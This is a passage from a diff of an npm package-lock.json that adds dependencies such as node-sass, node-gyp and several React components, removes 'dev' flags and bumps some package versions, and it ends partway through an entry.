- "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw==",
- "dev": true
+ "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw=="
},
"next-tick": {
"version": "1.0.0",
@@ -9941,6 +10315,141 @@
"integrity": "sha512-MmbQJ2MTESTjt3Gi/3yG1wGpIMhUfcIypUCGtTizFR9IiccFwxSpfp0vtIZlkFclEqERemxfnSdZEMR9VqqEFQ==",
"dev": true
},
+ "node-gyp": {
+ "version": "3.8.0",
+ "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz",
+ "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==",
+ "requires": {
+ "fstream": "^1.0.0",
+ "glob": "^7.0.3",
+ "graceful-fs": "^4.1.2",
+ "mkdirp": "^0.5.0",
+ "nopt": "2 || 3",
+ "npmlog": "0 || 1 || 2 || 3 || 4",
+ "osenv": "0",
+ "request": "^2.87.0",
+ "rimraf": "2",
+ "semver": "~5.3.0",
+ "tar": "^2.0.0",
+ "which": "1"
+ },
+ "dependencies": {
+ "ajv": {
+ "version": "6.10.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
+ "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
+ "requires": {
+ "fast-deep-equal": "^2.0.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ }
+ },
+ "aws4": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz",
+ "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ=="
+ },
+ "extend": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
+ },
+ "fast-deep-equal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
+ "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk="
+ },
+ "har-validator": {
+ "version": "5.1.3",
+ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
+ "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
+ "requires": {
+ "ajv": "^6.5.5",
+ "har-schema": "^2.0.0"
+ }
+ },
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+ },
+ "mime-db": {
+ "version": "1.40.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
+ "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA=="
+ },
+ "mime-types": {
+ "version": "2.1.24",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
+ "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
+ "requires": {
+ "mime-db": "1.40.0"
+ }
+ },
+ "oauth-sign": {
+ "version": "0.9.0",
+ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
+ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
+ },
+ "psl": {
+ "version": "1.1.32",
+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
+ "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
+ },
+ "request": {
+ "version": "2.88.0",
+ "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
+ "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
+ "requires": {
+ "aws-sign2": "~0.7.0",
+ "aws4": "^1.8.0",
+ "caseless": "~0.12.0",
+ "combined-stream": "~1.0.6",
+ "extend": "~3.0.2",
+ "forever-agent": "~0.6.1",
+ "form-data": "~2.3.2",
+ "har-validator": "~5.1.0",
+ "http-signature": "~1.2.0",
+ "is-typedarray": "~1.0.0",
+ "isstream": "~0.1.2",
+ "json-stringify-safe": "~5.0.1",
+ "mime-types": "~2.1.19",
+ "oauth-sign": "~0.9.0",
+ "performance-now": "^2.1.0",
+ "qs": "~6.5.2",
+ "safe-buffer": "^5.1.2",
+ "tough-cookie": "~2.4.3",
+ "tunnel-agent": "^0.6.0",
+ "uuid": "^3.3.2"
+ }
+ },
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+ },
+ "semver": {
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz",
+ "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8="
+ },
+ "tough-cookie": {
+ "version": "2.4.3",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
+ "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
+ "requires": {
+ "psl": "^1.1.24",
+ "punycode": "^1.4.1"
+ }
+ },
+ "uuid": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
+ "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
+ }
+ }
+ },
"node-libs-browser": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz",
@@ -10016,6 +10525,160 @@
}
}
},
+ "node-sass": {
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz",
+ "integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==",
+ "requires": {
+ "async-foreach": "^0.1.3",
+ "chalk": "^1.1.1",
+ "cross-spawn": "^3.0.0",
+ "gaze": "^1.0.0",
+ "get-stdin": "^4.0.1",
+ "glob": "^7.0.3",
+ "in-publish": "^2.0.0",
+ "lodash": "^4.17.11",
+ "meow": "^3.7.0",
+ "mkdirp": "^0.5.1",
+ "nan": "^2.13.2",
+ "node-gyp": "^3.8.0",
+ "npmlog": "^4.0.0",
+ "request": "^2.88.0",
+ "sass-graph": "^2.2.4",
+ "stdout-stream": "^1.4.0",
+ "true-case-path": "^1.0.2"
+ },
+ "dependencies": {
+ "ajv": {
+ "version": "6.10.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
+ "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
+ "requires": {
+ "fast-deep-equal": "^2.0.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ }
+ },
+ "aws4": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz",
+ "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ=="
+ },
+ "cross-spawn": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz",
+ "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=",
+ "requires": {
+ "lru-cache": "^4.0.1",
+ "which": "^1.2.9"
+ }
+ },
+ "extend": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
+ },
+ "fast-deep-equal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
+ "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk="
+ },
+ "har-validator": {
+ "version": "5.1.3",
+ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
+ "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
+ "requires": {
+ "ajv": "^6.5.5",
+ "har-schema": "^2.0.0"
+ }
+ },
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+ },
+ "lodash": {
+ "version": "4.17.11",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz",
+ "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg=="
+ },
+ "mime-db": {
+ "version": "1.40.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
+ "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA=="
+ },
+ "mime-types": {
+ "version": "2.1.24",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
+ "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
+ "requires": {
+ "mime-db": "1.40.0"
+ }
+ },
+ "nan": {
+ "version": "2.14.0",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz",
+ "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg=="
+ },
+ "oauth-sign": {
+ "version": "0.9.0",
+ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
+ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
+ },
+ "psl": {
+ "version": "1.1.32",
+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
+ "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
+ },
+ "request": {
+ "version": "2.88.0",
+ "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
+ "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
+ "requires": {
+ "aws-sign2": "~0.7.0",
+ "aws4": "^1.8.0",
+ "caseless": "~0.12.0",
+ "combined-stream": "~1.0.6",
+ "extend": "~3.0.2",
+ "forever-agent": "~0.6.1",
+ "form-data": "~2.3.2",
+ "har-validator": "~5.1.0",
+ "http-signature": "~1.2.0",
+ "is-typedarray": "~1.0.0",
+ "isstream": "~0.1.2",
+ "json-stringify-safe": "~5.0.1",
+ "mime-types": "~2.1.19",
+ "oauth-sign": "~0.9.0",
+ "performance-now": "^2.1.0",
+ "qs": "~6.5.2",
+ "safe-buffer": "^5.1.2",
+ "tough-cookie": "~2.4.3",
+ "tunnel-agent": "^0.6.0",
+ "uuid": "^3.3.2"
+ }
+ },
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+ },
+ "tough-cookie": {
+ "version": "2.4.3",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
+ "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
+ "requires": {
+ "psl": "^1.1.24",
+ "punycode": "^1.4.1"
+ }
+ },
+ "uuid": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
+ "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
+ }
+ }
+ },
"noms": {
"version": "0.0.0",
"resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz",
@@ -10030,7 +10693,6 @@
"version": "3.0.6",
"resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz",
"integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=",
- "dev": true,
"requires": {
"abbrev": "1"
}
@@ -10039,7 +10701,6 @@
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz",
"integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=",
- "dev": true,
"requires": {
"hosted-git-info": "^2.1.4",
"is-builtin-module": "^1.0.0",
@@ -12766,6 +13427,17 @@
"path-key": "^2.0.0"
}
},
+ "npmlog": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz",
+ "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==",
+ "requires": {
+ "are-we-there-yet": "~1.1.2",
+ "console-control-strings": "~1.1.0",
+ "gauge": "~2.7.3",
+ "set-blocking": "~2.0.0"
+ }
+ },
"nth-check": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz",
@@ -12784,8 +13456,7 @@
"number-is-nan": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
- "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=",
- "dev": true
+ "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0="
},
"oauth-sign": {
"version": "0.8.2",
@@ -12930,7 +13601,6 @@
"version": "1.4.0",
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
"integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
- "dev": true,
"requires": {
"wrappy": "1"
}
@@ -12944,12 +13614,6 @@
"mimic-fn": "^1.0.0"
}
},
- "open": {
- "version": "0.0.5",
- "resolved": "https://registry.npmjs.org/open/-/open-0.0.5.tgz",
- "integrity": "sha1-QsPhjslUZra/DcQvOilFw/DK2Pw=",
- "dev": true
- },
"opn": {
"version": "5.4.0",
"resolved": "https://registry.npmjs.org/opn/-/opn-5.4.0.tgz",
@@ -13015,8 +13679,7 @@
"os-homedir": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz",
- "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=",
- "dev": true
+ "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M="
},
"os-locale": {
"version": "2.1.0",
@@ -13032,8 +13695,16 @@
"os-tmpdir": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
- "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=",
- "dev": true
+ "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ="
+ },
+ "osenv": {
+ "version": "0.1.5",
+ "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz",
+ "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==",
+ "requires": {
+ "os-homedir": "^1.0.0",
+ "os-tmpdir": "^1.0.0"
+ }
},
"output-file-sync": {
"version": "1.1.2",
@@ -13188,7 +13859,6 @@
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz",
"integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=",
- "dev": true,
"requires": {
"error-ex": "^1.2.0"
}
@@ -13239,7 +13909,6 @@
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
"integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=",
- "dev": true,
"requires": {
"pinkie-promise": "^2.0.0"
}
@@ -13247,8 +13916,7 @@
"path-is-absolute": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
- "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=",
- "dev": true
+ "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
},
"path-is-inside": {
"version": "1.0.2",
@@ -13277,7 +13945,6 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz",
"integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=",
- "dev": true,
"requires": {
"graceful-fs": "^4.1.2",
"pify": "^2.0.0",
@@ -13312,8 +13979,7 @@
"performance-now": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
- "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=",
- "dev": true
+ "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
},
"phantomjs-prebuilt": {
"version": "2.1.16",
@@ -13335,20 +14001,17 @@
"pify": {
"version": "2.3.0",
"resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
- "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=",
- "dev": true
+ "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw="
},
"pinkie": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
- "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=",
- "dev": true
+ "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA="
},
"pinkie-promise": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
"integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=",
- "dev": true,
"requires": {
"pinkie": "^2.0.0"
}
@@ -13601,8 +14264,7 @@
"pseudomap": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz",
- "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=",
- "dev": true
+ "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM="
},
"psl": {
"version": "1.1.20",
@@ -13655,8 +14317,7 @@
"punycode": {
"version": "1.4.1",
"resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
- "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=",
- "dev": true
+ "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
},
"pure-color": {
"version": "1.3.0",
@@ -13678,8 +14339,7 @@
"qs": {
"version": "6.5.2",
"resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz",
- "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==",
- "dev": true
+ "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA=="
},
"querystring": {
"version": "0.2.0",
@@ -13876,6 +14536,14 @@
"prop-types": "^15.5.10"
}
},
+ "react-desktop-notification": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/react-desktop-notification/-/react-desktop-notification-1.0.9.tgz",
+ "integrity": "sha512-2nG+3V3n+dnIks4a+jXWYod8k6DgUt/ZDslce667QTimhbQy3+Z2OOYz4G4WjFMyDFrN6QxR28aphOCnA9x7hA==",
+ "requires": {
+ "create-react-class": "15.6.2"
+ }
+ },
"react-dimensions": {
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz",
@@ -13895,6 +14563,15 @@
"scheduler": "^0.11.2"
}
},
+ "react-event-timeline": {
+ "version": "1.6.3",
+ "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz",
+ "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==",
+ "dev": true,
+ "requires": {
+ "prop-types": "^15.6.0"
+ }
+ },
"react-fa": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz",
@@ -14000,6 +14677,14 @@
"resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz",
"integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="
},
+ "react-minimalist-portal": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/react-minimalist-portal/-/react-minimalist-portal-2.3.1.tgz",
+ "integrity": "sha1-SFPj9Ip0oywbh2dgGIfN95Qe66M=",
+ "requires": {
+ "prop-types": "^15.6.1"
+ }
+ },
"react-overlays": {
"version": "0.8.3",
"resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz",
@@ -14150,10 +14835,19 @@
"classnames": "^2.2.5"
}
},
+ "react-tooltip-lite": {
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.9.1.tgz",
+ "integrity": "sha512-JH5T6kPZn7X90TnnNhuJ+wOb1eikT2xtpbOkndvqAHZlOyZOAZeAyVgk/3pGz0xi4h+bqXXisfwGtriliTYhDQ==",
+ "requires": {
+ "prop-types": "^15.5.8",
+ "react-minimalist-portal": "^2.2.0"
+ }
+ },
"react-transition-group": {
- "version": "2.5.0",
- "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz",
- "integrity": "sha512-qYB3JBF+9Y4sE4/Mg/9O6WFpdoYjeeYqx0AFb64PTazVy8RPMiE3A47CG9QmM4WJ/mzDiZYslV+Uly6O1Erlgw==",
+ "version": "2.8.0",
+ "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.8.0.tgz",
+ "integrity": "sha512-So23a1MPn8CGoW5WNU4l0tLiVkOFmeXSS1K4Roe+dxxqqHvI/2XBmj76jx+u96LHnQddWG7LX8QovPAainSmWQ==",
"requires": {
"dom-helpers": "^3.3.1",
"loose-envify": "^1.4.0",
@@ -14175,7 +14869,6 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz",
"integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=",
- "dev": true,
"requires": {
"load-json-file": "^1.0.0",
"normalize-package-data": "^2.3.2",
@@ -14186,7 +14879,6 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz",
"integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=",
- "dev": true,
"requires": {
"find-up": "^1.0.0",
"read-pkg": "^1.0.0"
@@ -14285,7 +14977,6 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz",
"integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=",
- "dev": true,
"requires": {
"indent-string": "^2.1.0",
"strip-indent": "^1.0.1"
@@ -14442,7 +15133,6 @@
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz",
"integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=",
- "dev": true,
"requires": {
"is-finite": "^1.0.0"
}
@@ -14512,14 +15202,12 @@
"require-directory": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
- "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=",
- "dev": true
+ "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I="
},
"require-main-filename": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz",
- "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=",
- "dev": true
+ "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE="
},
"require-uncached": {
"version": "1.0.3",
@@ -14615,7 +15303,6 @@
"version": "2.6.2",
"resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz",
"integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==",
- "dev": true,
"requires": {
"glob": "^7.0.5"
}
@@ -14648,6 +15335,11 @@
"aproba": "^1.1.1"
}
},
+ "rw": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz",
+ "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q="
+ },
"rxjs": {
"version": "6.3.3",
"resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz",
@@ -14660,8 +15352,7 @@
"safe-buffer": {
"version": "5.1.1",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz",
- "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=",
- "dev": true
+ "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM="
},
"safe-regex": {
"version": "1.1.0",
@@ -14678,6 +15369,141 @@
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
"dev": true
},
+ "sass-graph": {
+ "version": "2.2.4",
+ "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz",
+ "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=",
+ "requires": {
+ "glob": "^7.0.0",
+ "lodash": "^4.0.0",
+ "scss-tokenizer": "^0.2.3",
+ "yargs": "^7.0.0"
+ },
+ "dependencies": {
+ "camelcase": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz",
+ "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo="
+ },
+ "cliui": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
